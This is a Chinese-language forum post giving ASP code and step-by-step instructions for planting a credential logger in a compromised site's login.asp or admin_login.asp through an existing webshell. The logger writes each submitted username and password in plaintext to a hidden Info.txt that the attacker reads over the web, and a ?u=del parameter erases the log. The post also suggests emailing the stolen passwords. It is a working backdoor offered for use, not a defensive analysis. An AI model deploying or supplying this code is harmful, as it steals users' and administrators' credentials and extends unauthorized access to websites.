注册
登录
| 关键词： file Info 密码 nothingset txt 文件 OpenTextFile 路径 asp WriteLine |
很多人在得到动网的数据库后郁闷不已（呀的，管理员的变态密码让我们的机器跑砸了都没辙)Now We Have Another Method!!!!!这就是用asp记录明文密码。用法：1.将此代码插入login.asp或admin_login.asp等等验证登陆的文件末尾即可。2.将PATH换成web下可访问的路径,如:C:\Inetpub\wwwroot\...\Info.txt（info.txt的路径越深越好，防止admin发现)3.你的webshell必须有权限修改文件且FileSystemObject可用。4.一段时间后在IE上访问:http://.../Info.txt就 可以看到登录过的用户的帐号密码。5.在IE上输http://.../(which your modified).asp?u=del可一清楚info.txt的内容。注意：1.你可以为它添加其他功能，例如：已记录的用户不再重复记录，用邮件接收密码等等。2.为了防止info.txt过大，我用清空info.txt的方法。当然你可以新建文件来解决此问题。if filesize>200000 thenset file2=fso.OpenTextFile(PATH,2,True)file2.WriteLine ""file2.closeend if--------------------------------------------------------------------<%dim fsodim filedim file2dim filesizedim file3set fso=server.createobject("Scripting.FileSystemObject")If Request("u")="del" Thenset file=fso.OpenTextFile(PATH,2,True)file.WriteLine ""End IfIf fso.FileExists("PATH") Thenset file=fso.OpenTextFile(PATH,8,True)Elseset file=fso.CreateTextFile(PATH)end iffile.WriteLine "Username:"+Request.form("Username")file.WriteLine "Password:"+Request.form("password")file.closeset file3=fso.GetFile(PATH)filesize=file3.sizeif filesize>200000 thenset file2=fso.OpenTextFile(PATH,2,True)file2.WriteLine ""file2.closeend ifset file=nothingset file2=nothingset filesize=nothingset fso=nothing%>----------------------------------------------------------------------By ymqsz E-mail:[email protected] |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
